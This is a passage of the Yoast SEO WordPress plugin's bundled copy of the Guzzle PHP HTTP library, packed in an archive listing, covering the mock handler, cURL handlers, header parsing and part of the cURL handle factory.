class MockHandler implements \Countable
{
    /**
     * @var array
     */
    private $queue = [];
    /**
     * @var RequestInterface|null
     */
    private $lastRequest;
    /**
     * @var array
     */
    private $lastOptions = [];
    /**
     * @var callable|null
     */
    private $onFulfilled;
    /**
     * @var callable|null
     */
    private $onRejected;
    /**
     * Creates a new MockHandler that uses the default handler stack list of
     * middlewares.
     *
     * @param array|null    $queue       Array of responses, callables, or exceptions.
     * @param callable|null $onFulfilled Callback to invoke when the return value is fulfilled.
     * @param callable|null $onRejected  Callback to invoke when the return value is rejected.
     */
    public static function createWithMiddleware(array $queue = null, callable $onFulfilled = null, callable $onRejected = null) : \YoastSEO_Vendor\GuzzleHttp\HandlerStack
    {
        return \YoastSEO_Vendor\GuzzleHttp\HandlerStack::create(new self($queue, $onFulfilled, $onRejected));
    }
    /**
     * The passed in value must be an array of
     * {@see \Psr\Http\Message\ResponseInterface} objects, Exceptions,
     * callables, or Promises.
     *
     * @param array<int, mixed>|null $queue       The parameters to be passed to the append function, as an indexed array.
     * @param callable|null          $onFulfilled Callback to invoke when the return value is fulfilled.
     * @param callable|null          $onRejected  Callback to invoke when the return value is rejected.
     */
    public function __construct(array $queue = null, callable $onFulfilled = null, callable $onRejected = null)
    {
        $this->onFulfilled = $onFulfilled;
        $this->onRejected = $onRejected;
        if ($queue) {
            // array_values included for BC
            $this->append(...\array_values($queue));
        }
    }
    public function __invoke(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
    {
        if (!$this->queue) {
            throw new \OutOfBoundsException('Mock queue is empty');
        }
        if (isset($options['delay']) && \is_numeric($options['delay'])) {
            \usleep((int) $options['delay'] * 1000);
        }
        $this->lastRequest = $request;
        $this->lastOptions = $options;
        $response = \array_shift($this->queue);
        if (isset($options['on_headers'])) {
            if (!\is_callable($options['on_headers'])) {
                throw new \InvalidArgumentException('on_headers must be callable');
            }
            try {
                $options['on_headers']($response);
            } catch (\Exception $e) {
                $msg = 'An error was encountered during the on_headers event';
                $response = new \YoastSEO_Vendor\GuzzleHttp\Exception\RequestException($msg, $request, $response, $e);
            }
        }
        if (\is_callable($response)) {
            $response = $response($request, $options);
        }
        $response = $response instanceof \Throwable ? \YoastSEO_Vendor\GuzzleHttp\Promise\Create::rejectionFor($response) : \YoastSEO_Vendor\GuzzleHttp\Promise\Create::promiseFor($response);
        return $response->then(function (?\YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $value) use($request, $options) {
            $this->invokeStats($request, $options, $value);
            if ($this->onFulfilled) {
                ($this->onFulfilled)($value);
            }
            if ($value !== null && isset($options['sink'])) {
                $contents = (string) $value->getBody();
                $sink = $options['sink'];
                if (\is_resource($sink)) {
                    \fwrite($sink, $contents);
                } elseif (\is_string($sink)) {
                    \file_put_contents($sink, $contents);
                } elseif ($sink instanceof \YoastSEO_Vendor\Psr\Http\Message\StreamInterface) {
                    $sink->write($contents);
                }
            }
            return $value;
        }, function ($reason) use($request, $options) {
            $this->invokeStats($request, $options, null, $reason);
            if ($this->onRejected) {
                ($this->onRejected)($reason);
            }
            return \YoastSEO_Vendor\GuzzleHttp\Promise\Create::rejectionFor($reason);
        });
    }
    /**
     * Adds one or more variadic requests, exceptions, callables, or promises
     * to the queue.
     *
     * @param mixed ...$values
     */
    public function append(...$values) : void
    {
        foreach ($values as $value) {
            if ($value instanceof \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface || $value instanceof \Throwable || $value instanceof \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface || \is_callable($value)) {
                $this->queue[] = $value;
            } else {
                throw new \TypeError('Expected a Response, Promise, Throwable or callable. Found ' . \YoastSEO_Vendor\GuzzleHttp\Utils::describeType($value));
            }
        }
    }
    /**
     * Get the last received request.
     */
    public function getLastRequest() : ?\YoastSEO_Vendor\Psr\Http\Message\RequestInterface
    {
        return $this->lastRequest;
    }
    /**
     * Get the last received request options.
     */
    public function getLastOptions() : array
    {
        return $this->lastOptions;
    }
    /**
     * Returns the number of remaining items in the queue.
     */
    public function count() : int
    {
        return \count($this->queue);
    }
    public function reset() : void
    {
        $this->queue = [];
    }
    /**
     * @param mixed $reason Promise or reason.
     */
    private function invokeStats(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options, \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $response = null, $reason = null) : void
    {
        if (isset($options['on_stats'])) {
            $transferTime = $options['transfer_time'] ?? 0;
            $stats = new \YoastSEO_Vendor\GuzzleHttp\TransferStats($request, $response, $transferTime, $reason);
            $options['on_stats']($stats);
        }
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/Handler/CurlHandler.php000064400000002740147510273100023366 0ustar00<?php

namespace YoastSEO_Vendor\GuzzleHttp\Handler;

use YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface;
use YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
/**
 * HTTP handler that uses cURL easy handles as a transport layer.
 *
 * When using the CurlHandler, custom curl options can be specified as an
 * associative array of curl option constants mapping to values in the
 * **curl** key of the "client" key of the request.
 *
 * @final
 */
class CurlHandler
{
    /**
     * @var CurlFactoryInterface
     */
    private $factory;
    /**
     * Accepts an associative array of options:
     *
     * - handle_factory: Optional curl factory used to create cURL handles.
     *
     * @param array{handle_factory?: ?CurlFactoryInterface} $options Array of options to use with the handler
     */
    public function __construct(array $options = [])
    {
        $this->factory = $options['handle_factory'] ?? new \YoastSEO_Vendor\GuzzleHttp\Handler\CurlFactory(3);
    }
    public function __invoke(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
    {
        if (isset($options['delay'])) {
            \usleep($options['delay'] * 1000);
        }
        $easy = $this->factory->create($request, $options);
        \curl_exec($easy->handle);
        $easy->errno = \curl_errno($easy->handle);
        return \YoastSEO_Vendor\GuzzleHttp\Handler\CurlFactory::finish($this, $easy, $this->factory);
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/Handler/HeaderProcessor.php000064400000002127147510273100024252 0ustar00<?php

namespace YoastSEO_Vendor\GuzzleHttp\Handler;

use YoastSEO_Vendor\GuzzleHttp\Utils;
/**
 * @internal
 */
final class HeaderProcessor
{
    /**
     * Returns the HTTP version, status code, reason phrase, and headers.
     *
     * @param string[] $headers
     *
     * @return array{0:string, 1:int, 2:?string, 3:array}
     *
     * @throws \RuntimeException
     */
    public static function parseHeaders(array $headers) : array
    {
        if ($headers === []) {
            throw new \RuntimeException('Expected a non-empty array of header data');
        }
        $parts = \explode(' ', \array_shift($headers), 3);
        $version = \explode('/', $parts[0])[1] ?? null;
        if ($version === null) {
            throw new \RuntimeException('HTTP version missing from header data');
        }
        $status = $parts[1] ?? null;
        if ($status === null) {
            throw new \RuntimeException('HTTP status code missing from header data');
        }
        return [$version, (int) $status, $parts[2] ?? null, \YoastSEO_Vendor\GuzzleHttp\Utils::headersFromLines($headers)];
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/Handler/CurlMultiHandler.php000064400000020160147510273100024375 0ustar00<?php

namespace YoastSEO_Vendor\GuzzleHttp\Handler;

use YoastSEO_Vendor\GuzzleHttp\Promise as P;
use YoastSEO_Vendor\GuzzleHttp\Promise\Promise;
use YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface;
use YoastSEO_Vendor\GuzzleHttp\Utils;
use YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
/**
 * Returns an asynchronous response using curl_multi_* functions.
 *
 * When using the CurlMultiHandler, custom curl options can be specified as an
 * associative array of curl option constants mapping to values in the
 * **curl** key of the provided request options.
 *
 * @final
 */
class CurlMultiHandler
{
    /**
     * @var CurlFactoryInterface
     */
    private $factory;
    /**
     * @var int
     */
    private $selectTimeout;
    /**
     * @var int Will be higher than 0 when `curl_multi_exec` is still running.
     */
    private $active = 0;
    /**
     * @var array Request entry handles, indexed by handle id in `addRequest`.
     *
     * @see CurlMultiHandler::addRequest
     */
    private $handles = [];
    /**
     * @var array<int, float> An array of delay times, indexed by handle id in `addRequest`.
     *
     * @see CurlMultiHandler::addRequest
     */
    private $delays = [];
    /**
     * @var array<mixed> An associative array of CURLMOPT_* options and corresponding values for curl_multi_setopt()
     */
    private $options = [];
    /** @var resource|\CurlMultiHandle */
    private $_mh;
    /**
     * This handler accepts the following options:
     *
     * - handle_factory: An optional factory  used to create curl handles
     * - select_timeout: Optional timeout (in seconds) to block before timing
     *   out while selecting curl handles. Defaults to 1 second.
     * - options: An associative array of CURLMOPT_* options and
     *   corresponding values for curl_multi_setopt()
     */
    public function __construct(array $options = [])
    {
        $this->factory = $options['handle_factory'] ?? new \YoastSEO_Vendor\GuzzleHttp\Handler\CurlFactory(50);
        if (isset($options['select_timeout'])) {
            $this->selectTimeout = $options['select_timeout'];
        } elseif ($selectTimeout = \YoastSEO_Vendor\GuzzleHttp\Utils::getenv('GUZZLE_CURL_SELECT_TIMEOUT')) {
            @\trigger_error('Since guzzlehttp/guzzle 7.2.0: Using environment variable GUZZLE_CURL_SELECT_TIMEOUT is deprecated. Use option "select_timeout" instead.', \E_USER_DEPRECATED);
            $this->selectTimeout = (int) $selectTimeout;
        } else {
            $this->selectTimeout = 1;
        }
        $this->options = $options['options'] ?? [];
        // unsetting the property forces the first access to go through
        // __get().
        unset($this->_mh);
    }
    /**
     * @param string $name
     *
     * @return resource|\CurlMultiHandle
     *
     * @throws \BadMethodCallException when another field as `_mh` will be gotten
     * @throws \RuntimeException       when curl can not initialize a multi handle
     */
    public function __get($name)
    {
        if ($name !== '_mh') {
            throw new \BadMethodCallException("Can not get other property as '_mh'.");
        }
        $multiHandle = \curl_multi_init();
        if (\false === $multiHandle) {
            throw new \RuntimeException('Can not initialize curl multi handle.');
        }
        $this->_mh = $multiHandle;
        foreach ($this->options as $option => $value) {
            // A warning is raised in case of a wrong option.
            \curl_multi_setopt($this->_mh, $option, $value);
        }
        return $this->_mh;
    }
    public function __destruct()
    {
        if (isset($this->_mh)) {
            \curl_multi_close($this->_mh);
            unset($this->_mh);
        }
    }
    public function __invoke(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
    {
        $easy = $this->factory->create($request, $options);
        $id = (int) $easy->handle;
        $promise = new \YoastSEO_Vendor\GuzzleHttp\Promise\Promise([$this, 'execute'], function () use($id) {
            return $this->cancel($id);
        });
        $this->addRequest(['easy' => $easy, 'deferred' => $promise]);
        return $promise;
    }
    /**
     * Ticks the curl event loop.
     */
    public function tick() : void
    {
        // Add any delayed handles if needed.
        if ($this->delays) {
            $currentTime = \YoastSEO_Vendor\GuzzleHttp\Utils::currentTime();
            foreach ($this->delays as $id => $delay) {
                if ($currentTime >= $delay) {
                    unset($this->delays[$id]);
                    \curl_multi_add_handle($this->_mh, $this->handles[$id]['easy']->handle);
                }
            }
        }
        // Step through the task queue which may add additional requests.
        \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::queue()->run();
        if ($this->active && \curl_multi_select($this->_mh, $this->selectTimeout) === -1) {
            // Perform a usleep if a select returns -1.
            // See: https://bugs.php.net/bug.php?id=61141
            \usleep(250);
        }
        while (\curl_multi_exec($this->_mh, $this->active) === \CURLM_CALL_MULTI_PERFORM) {
        }
        $this->processMessages();
    }
    /**
     * Runs until all outstanding connections have completed.
     */
    public function execute() : void
    {
        $queue = \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::queue();
        while ($this->handles || !$queue->isEmpty()) {
            // If there are no transfers, then sleep for the next delay
            if (!$this->active && $this->delays) {
                \usleep($this->timeToNext());
            }
            $this->tick();
        }
    }
    private function addRequest(array $entry) : void
    {
        $easy = $entry['easy'];
        $id = (int) $easy->handle;
        $this->handles[$id] = $entry;
        if (empty($easy->options['delay'])) {
            \curl_multi_add_handle($this->_mh, $easy->handle);
        } else {
            $this->delays[$id] = \YoastSEO_Vendor\GuzzleHttp\Utils::currentTime() + $easy->options['delay'] / 1000;
        }
    }
    /**
     * Cancels a handle from sending and removes references to it.
     *
     * @param int $id Handle ID to cancel and remove.
     *
     * @return bool True on success, false on failure.
     */
    private function cancel($id) : bool
    {
        if (!\is_int($id)) {
            trigger_deprecation('guzzlehttp/guzzle', '7.4', 'Not passing an integer to %s::%s() is deprecated and will cause an error in 8.0.', __CLASS__, __FUNCTION__);
        }
        // Cannot cancel if it has been processed.
        if (!isset($this->handles[$id])) {
            return \false;
        }
        $handle = $this->handles[$id]['easy']->handle;
        unset($this->delays[$id], $this->handles[$id]);
        \curl_multi_remove_handle($this->_mh, $handle);
        \curl_close($handle);
        return \true;
    }
    private function processMessages() : void
    {
        while ($done = \curl_multi_info_read($this->_mh)) {
            if ($done['msg'] !== \CURLMSG_DONE) {
                // if it's not done, then it would be premature to remove the handle. ref https://github.com/guzzle/guzzle/pull/2892#issuecomment-945150216
                continue;
            }
            $id = (int) $done['handle'];
            \curl_multi_remove_handle($this->_mh, $done['handle']);
            if (!isset($this->handles[$id])) {
                // Probably was cancelled.
                continue;
            }
            $entry = $this->handles[$id];
            unset($this->handles[$id], $this->delays[$id]);
            $entry['easy']->errno = $done['result'];
            $entry['deferred']->resolve(\YoastSEO_Vendor\GuzzleHttp\Handler\CurlFactory::finish($this, $entry['easy'], $this->factory));
        }
    }
    private function timeToNext() : int
    {
        $currentTime = \YoastSEO_Vendor\GuzzleHttp\Utils::currentTime();
        $nextTime = \PHP_INT_MAX;
        foreach ($this->delays as $time) {
            if ($time < $nextTime) {
                $nextTime = $time;
            }
        }
        return (int) \max(0, $nextTime - $currentTime) * 1000000;
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/Handler/EasyHandle.php000064400000005703147510273100023202 0ustar00<?php

namespace YoastSEO_Vendor\GuzzleHttp\Handler;

use YoastSEO_Vendor\GuzzleHttp\Psr7\Response;
use YoastSEO_Vendor\GuzzleHttp\Utils;
use YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
use YoastSEO_Vendor\Psr\Http\Message\ResponseInterface;
use YoastSEO_Vendor\Psr\Http\Message\StreamInterface;
/**
 * Represents a cURL easy handle and the data it populates.
 *
 * @internal
 */
final class EasyHandle
{
    /**
     * @var resource|\CurlHandle cURL resource
     */
    public $handle;
    /**
     * @var StreamInterface Where data is being written
     */
    public $sink;
    /**
     * @var array Received HTTP headers so far
     */
    public $headers = [];
    /**
     * @var ResponseInterface|null Received response (if any)
     */
    public $response;
    /**
     * @var RequestInterface Request being sent
     */
    public $request;
    /**
     * @var array Request options
     */
    public $options = [];
    /**
     * @var int cURL error number (if any)
     */
    public $errno = 0;
    /**
     * @var \Throwable|null Exception during on_headers (if any)
     */
    public $onHeadersException;
    /**
     * @var \Exception|null Exception during createResponse (if any)
     */
    public $createResponseException;
    /**
     * Attach a response to the easy handle based on the received headers.
     *
     * @throws \RuntimeException if no headers have been received or the first
     *                           header line is invalid.
     */
    public function createResponse() : void
    {
        [$ver, $status, $reason, $headers] = \YoastSEO_Vendor\GuzzleHttp\Handler\HeaderProcessor::parseHeaders($this->headers);
        $normalizedKeys = \YoastSEO_Vendor\GuzzleHttp\Utils::normalizeHeaderKeys($headers);
        if (!empty($this->options['decode_content']) && isset($normalizedKeys['content-encoding'])) {
            $headers['x-encoded-content-encoding'] = $headers[$normalizedKeys['content-encoding']];
            unset($headers[$normalizedKeys['content-encoding']]);
            if (isset($normalizedKeys['content-length'])) {
                $headers['x-encoded-content-length'] = $headers[$normalizedKeys['content-length']];
                $bodyLength = (int) $this->sink->getSize();
                if ($bodyLength) {
                    $headers[$normalizedKeys['content-length']] = $bodyLength;
                } else {
                    unset($headers[$normalizedKeys['content-length']]);
                }
            }
        }
        // Attach a response to the easy handle with the parsed headers.
        $this->response = new \YoastSEO_Vendor\GuzzleHttp\Psr7\Response($status, $headers, $this->sink, $ver, $reason);
    }
    /**
     * @param string $name
     *
     * @return void
     *
     * @throws \BadMethodCallException
     */
    public function __get($name)
    {
        $msg = $name === 'handle' ? 'The EasyHandle has been released' : 'Invalid property: ' . $name;
        throw new \BadMethodCallException($msg);
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/Handler/CurlFactory.php000064400000060613147510273100023423 0ustar00<?php

namespace YoastSEO_Vendor\GuzzleHttp\Handler;

use YoastSEO_Vendor\GuzzleHttp\Exception\ConnectException;
use YoastSEO_Vendor\GuzzleHttp\Exception\RequestException;
use YoastSEO_Vendor\GuzzleHttp\Promise as P;
use YoastSEO_Vendor\GuzzleHttp\Promise\FulfilledPromise;
use YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface;
use YoastSEO_Vendor\GuzzleHttp\Psr7\LazyOpenStream;
use YoastSEO_Vendor\GuzzleHttp\TransferStats;
use YoastSEO_Vendor\GuzzleHttp\Utils;
use YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
/**
 * Creates curl resources from a request
 *
 * @final
 */
class CurlFactory implements \YoastSEO_Vendor\GuzzleHttp\Handler\CurlFactoryInterface
{
    public const CURL_VERSION_STR = 'curl_version';
    /**
     * @deprecated
     */
    public const LOW_CURL_VERSION_NUMBER = '7.21.2';
    /**
     * @var resource[]|\CurlHandle[]
     */
    private $handles = [];
    /**
     * @var int Total number of idle handles to keep in cache
     */
    private $maxHandles;
    /**
     * @param int $maxHandles Maximum number of idle handles.
     */
    public function __construct(int $maxHandles)
    {
        $this->maxHandles = $maxHandles;
    }
    public function create(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options) : \YoastSEO_Vendor\GuzzleHttp\Handler\EasyHandle
    {
        if (isset($options['curl']['body_as_string'])) {
            $options['_body_as_string'] = $options['curl']['body_as_string'];
            unset($options['curl']['body_as_string']);
        }
        $easy = new \YoastSEO_Vendor\GuzzleHttp\Handler\EasyHandle();
        $easy->request = $request;
        $easy->options = $options;
        $conf = $this->getDefaultConf($easy);
        $this->applyMethod($easy, $conf);
        $this->applyHandlerOptions($easy, $conf);
        $this->applyHeaders($easy, $conf);
        unset($conf['_headers']);
        // Add handler options from the request configuration options
        if (isset($options['curl'])) {
            $conf = \array_replace($conf, $options['curl']);
        }
        $conf[\CURLOPT_HEADERFUNCTION] = $this->createHeaderFn($easy);
        $easy->handle = $this->handles ? \array_pop($this->handles) : \curl_init();
        \curl_setopt_array($easy->handle, $conf);
        return $easy;
    }
    public function release(\YoastSEO_Vendor\GuzzleHttp\Handler\EasyHandle $easy) : void
    {
        $resource = $easy->handle;
        unset($easy->handle);
        if (\count($this->handles) >= $this->maxHandles) {
            \curl_close($resource);
        } else {
            // Remove all callback functions as they can hold onto references
            // and are not cleaned up by curl_reset. Using curl_setopt_array
            // does not work for some reason, so removing each one
            // individually.
            \curl_setopt($resource, \CURLOPT_HEADERFUNCTION, null);
            \curl_setopt($resource, \CURLOPT_READFUNCTION, null);
            \curl_setopt($resource, \CURLOPT_WRITEFUNCTION, null);
            \curl_setopt($resource, \CURLOPT_PROGRESSFUNCTION, null);
            \curl_reset($resource);
            $this->handles[] = $resource;
        }
    }
    /**
     * Completes a cURL transaction, either returning a response promise or a
     * rejected promise.
     *
     * @param callable(RequestInterface, array): PromiseInterface $handler
     * @param CurlFactoryInterface                                $factory Dictates how the handle is released
     */
    public static function finish(callable $handler, \YoastSEO_Vendor\GuzzleHttp\Handler\EasyHandle $easy, \YoastSEO_Vendor\GuzzleHttp\Handler\CurlFactoryInterface $factory) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
    {
        if (isset($easy->options['on_stats'])) {
            self::invokeStats($easy);
        }
        if (!$easy->response || $easy->errno) {
            return self::finishError($handler, $easy, $factory);
        }
        // Return the response if it is present and there is no error.
        $factory->release($easy);
        // Rewind the body of the response if possible.
        $body = $easy->response->getBody();
        if ($body->isSeekable()) {
            $body->rewind();
        }
        return new \YoastSEO_Vendor\GuzzleHttp\Promise\FulfilledPromise($easy->response);
    }
    private static function invokeStats(\YoastSEO_Vendor\GuzzleHttp\Handler\EasyHandle $easy) : void
    {
        $curlStats = \curl_getinfo($easy->handle);
        $curlStats['appconnect_time'] = \curl_getinfo($easy->handle, \CURLINFO_APPCONNECT_TIME);
        $stats = new \YoastSEO_Vendor\GuzzleHttp\TransferStats($easy->request, $easy->response, $curlStats['total_time'], $easy->errno, $curlStats);
        $easy->options['on_stats']($stats);
    }
    /**
     * @param callable(RequestInterface, array): PromiseInterface $handler
     */
    private static function finishError(callable $handler, \YoastSEO_Vendor\GuzzleHttp\Handler\EasyHandle $easy, \YoastSEO_Vendor\GuzzleHttp\Handler\CurlFactoryInterface $factory) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
    {
        // Get error information and release the handle to the factory.
        $ctx = ['errno' => $easy->errno, 'error' => \curl_error($easy->handle), 'appconnect_time' => \curl_getinfo($easy->handle, \CURLINFO_APPCONNECT_TIME)] + \curl_getinfo($easy->handle);
        $ctx[self::CURL_VERSION_STR] = \curl_version()['version'];
        $factory->release($easy);
        // Retry when nothing is present or when curl failed to rewind.
        if (empty($easy->options['_err_message']) && (!$easy->errno || $easy->errno == 65)) {
            return self::retryFailedRewind($handler, $easy, $ctx);
        }
        return self::createRejection($easy, $ctx);
    }
    private static function createRejection(\YoastSEO_Vendor\GuzzleHttp\Handler\EasyHandle $easy, array $ctx) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
    {
        static $connectionErrors = [\CURLE_OPERATION_TIMEOUTED => \true, \CURLE_COULDNT_RESOLVE_HOST => \true, \CURLE_COULDNT_CONNECT => \true, \CURLE_SSL_CONNECT_ERROR => \true, \CURLE_GOT_NOTHING => \true];
        if ($easy->createResponseException) {
            return \YoastSEO_Vendor\GuzzleHttp\Promise\Create::rejectionFor(new \YoastSEO_Vendor\GuzzleHttp\Exception\RequestException('An error was encountered while creating the response', $easy->request, $easy->response, $easy->createResponseException, $ctx));
        }
        // If an exception was encountered during the onHeaders event, then
        // return a rejected promise that wraps that exception.
        if ($easy->onHeadersException) {
            return \YoastSEO_Vendor\GuzzleHttp\Promise\Create::rejectionFor(new \YoastSEO_Vendor\GuzzleHttp\Exception\RequestException('An error was encountered during the on_headers event', $easy->request, $easy->response, $easy->onHeadersException, $ctx));
        }
        $message = \sprintf('cURL error %s: %s (%s)', $ctx['errno'], $ctx['error'], 'see https://curl.haxx.se/libcurl/c/libcurl-errors.html');
        $uriString = (string) $easy->request->getUri();
        if ($uriString !== '' && \false === \strpos($ctx['error'], $uriString)) {
            $message .= \sprintf(' for %s', $uriString);
        }
        // Create a connection exception if it was a specific error code.
        $error = isset($connectionErrors[$easy->errno]) ? new \YoastSEO_Vendor\GuzzleHttp\Exception\ConnectException($message, $easy->request, null, $ctx) : new \YoastSEO_Vendor\GuzzleHttp\Exception\RequestException($message, $easy->request, $easy->response, null, $ctx);
        return \YoastSEO_Vendor\GuzzleHttp\Promise\Create::rejectionFor($error);
    }
    /**
     * @return array<int|string, mixed>
     */
    private function getDefaultConf(\YoastSEO_Vendor\GuzzleHttp\Handler\EasyHandle $easy) : array
    {
        $conf = ['_headers' => $easy->request->getHeaders(), \CURLOPT_CUSTOMREQUEST => $easy->request->getMethod(), \CURLOPT_URL => (string) $easy->request->getUri()->withFragment(''), \CURLOPT_RETURNTRANSFER => \false, \CURLOPT_HEADER => \false, \CURLOPT_CONNECTTIMEOUT => 300];
        if (\defined('CURLOPT_PROTOCOLS')) {
            $conf[\CURLOPT_PROTOCOLS] = \CURLPROTO_HTTP | \CURLPROTO_HTTPS;
        }
        $version = $easy->request->getProtocolVersion();
        if ($version == 1.1) {
            $conf[\CURLOPT_HTTP_VERSION] = \CURL_HTTP_VERSION_1_1;
        } elseif ($version == 2.0) {
            $conf[\CURLOPT_HTTP_VERSION] = \CURL_HTTP_VERSION_2_0;
        } else {
            $conf[\CURLOPT_HTTP_VERSION] = \CURL_HTTP_VERSION_1_0;
        }
        return $conf;
    }
    private function applyMethod(\YoastSEO_Vendor\GuzzleHttp\Handler\EasyHandle $easy, array &$conf) : void
    {
        $body = $easy->request->getBody();
        $size = $body->getSize();
        if ($size === null || $size > 0) {
            $this->applyBody($easy->request, $easy->options, $conf);
            return;
        }
        $method = $easy->request->getMethod();
        if ($method === 'PUT' || $method === 'POST') {
            // See https://datatracker.ietf.org/doc/html/rfc7230#section-3.3.2
            if (!$easy->request->hasHeader('Content-Length')) {
                $conf[\CURLOPT_HTTPHEADER][] = 'Content-Length: 0';
            }
        } elseif ($method === 'HEAD') {
            $conf[\CURLOPT_NOBODY] = \true;
            unset($conf[\CURLOPT_WRITEFUNCTION], $conf[\CURLOPT_READFUNCTION], $conf[\CURLOPT_FILE], $conf[\CURLOPT_INFILE]);
        }
    }
    private function applyBody(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options, array &$conf) : void
    {
        $size = $request->hasHeader('Content-Length') ? (int) $request->getHeaderLine('Content-Length') : null;
        // Send the body as a string if the size is less than 1MB OR if the
        // [curl][body_as_string] request value is set.
        if ($size !== null && $size < 1000000 || !empty($options['_body_as_string'])) {
            $conf[\CURLOPT_POSTFIELDS] = (string) $request->getBody();
            // Don't duplicate the Content-Length header
            $this->removeHeader('Content-Length', $conf);
            $this->removeHeader('Transfer-Encoding', $conf);
        } else {
            $conf[\CURLOPT_UPLOAD] = \true;
            if ($size !== null) {
                $conf[\CURLOPT_INFILESIZE] = $size;
                $this->removeHeader('Content-Length', $conf);
            }
            $body = $request->getBody();
            if ($body->isSeekable()) {
                $body->rewind();
            }
            $conf[\CURLOPT_READFUNCTION] = static function ($ch, $fd, $length) use($body) {
                return $body->read($length);
            };
        }
        // If the Expect header is not present, prevent curl from adding it
        if (!$request->hasHeader('Expect')) {
            $conf[\CURLOPT_HTTPHEADER][] = 'Expect:';
        }
        // cURL sometimes adds a content-type by default. Prevent this.
        if (!$request->hasHeader('Content-Type')) {
            $conf[\CURLOPT_HTTPHEADER][] = 'Content-Type:';
        }
    }
    private function applyHeaders(\YoastSEO_Vendor\GuzzleHttp\Handler\EasyHandle $easy, array &$conf) : void
    {
        foreach ($conf['_headers'] as $name => $values) {
            foreach ($values as $value) {
                $value = (string) $value;
                if ($value === '') {
                    // cURL requires a special format for empty headers.
                    // See https://github.com/guzzle/guzzle/issues/1882 for more details.
                    $conf[\CURLOPT_HTTPHEADER][] = "{$name};";
                } else {
                    $conf[\CURLOPT_HTTPHEADER][] = "{$name}: {$value}";
                }
            }
        }
        // Remove the Accept header if one was not set
        if (!$easy->request->hasHeader('Accept')) {
            $conf[\CURLOPT_HTTPHEADER][] = 'Accept:';
        }
    }
    /**
     * Remove a header from the options array.
     *
     * @param string $name    Case-insensitive header to remove
     * @param array  $options Array of options to modify
     */
    private function removeHeader(string $name, array &$options) : void
    {
        foreach (\array_keys($options['_headers']) as $key) {
            if (!\strcasecmp($key, $name)) {
                unset($options['_headers'][$key]);
                return;
            }
        }
    }
    private function applyHandlerOptions(\YoastSEO_Vendor\GuzzleHttp\Handler\EasyHandle $easy, array &$conf) : void
    {
        $options = $easy->options;
        if (isset($options['verify'])) {
            if ($options['verify'] === \false) {
                unset($conf[\CURLOPT_CAINFO]);
                $conf[\CURLOPT_SSL_VERIFYHOST] = 0;
                $conf[\CURLOPT_SSL_VERIFYPEER] = \false;
            } else {
                $conf[\CURLOPT_SSL_VERIFYHOST] = 2;
                $conf[\CURLOPT_SSL_VERIFYPEER] = \true;
                if (\is_string($options['verify'])) {
                    // Throw an error if the file/folder/link path is not valid or doesn't exist.
                    if (!\file_exists($options['verify'])) {
                        throw new \InvalidArgumentException("SSL CA bundle not found: {$options['verify']}");
                    }
                    // If it's a directory or a link to a directory use CURLOPT_CAPATH.
                    // If not, it's probably a file, or a link to a file, so use CURLOPT_CAINFO.
                    if (\is_dir($options['verify']) || \is_link($options['verify']) === \true && ($verifyLink = \readlink($options['verify'])) !== \false && \is_dir($verifyLink)) {
                        $conf[\CURLOPT_CAPATH] = $options['verify'];
                    } else {
                        $conf[\CURLOPT_CAINFO] = $options['verify'];
                    }
                }
            }
        }
        if (!isset($options['curl'][\CURLOPT_ENCODING]) && !empty($options['decode_content'])) {
            $accept = $easy->request->getHeaderLine('Accept-Encoding');
            if ($accept) {
                $conf[\CURLOPT_ENCODING] = $accept;
            } else {
                // The empty string enables all available decoders and implicitly
                // sets a matching 'Accept-Encoding' header.
                $conf[\CURLOPT_ENCODING] = '';
                // But as the user did not specify any acceptable encodings we need
                // to overwrite this implicit header with an empty one.
                $conf[\CURLOPT_HTTPHEADER][] = 'Accept-Encoding:';
            }
        }
        if (!isset($options['sink'])) {
            // Use a default temp stream if no sink was set.
            $options['sink'] = \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::tryFopen('php://temp', 'w+');
        }
        $sink = $options['sink'];
        if (!\is_string($sink)) {
            $sink = \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::streamFor($sink);
        } elseif (!\is_dir(\dirname($sink))) {
            // Ensure that the directory exists before failing in curl.
            throw new \RuntimeException(\sprintf('Directory %s does not exist for sink value of %s', \dirname($sink), $sink));
        } else {
            $sink = new \YoastSEO_Vendor\GuzzleHttp\Psr7\LazyOpenStream($sink, 'w+');
        }
        $easy->sink = $sink;
        $conf[\CURLOPT_WRITEFUNCTION] = static function ($ch, $write) use($sink) : int {
            return $sink->write($write);
        };
        $timeoutRequiresNoSignal = \false;
        if (isset($options['timeout'])) {
            $timeoutRequiresNoSignal |= $options['timeout'] < 1;
            $conf[\CURLOPT_TIMEOUT_MS] = $options['timeout'] * 1000;
        }
        // CURL default value is CURL_IPRESOLVE_WHATEVER
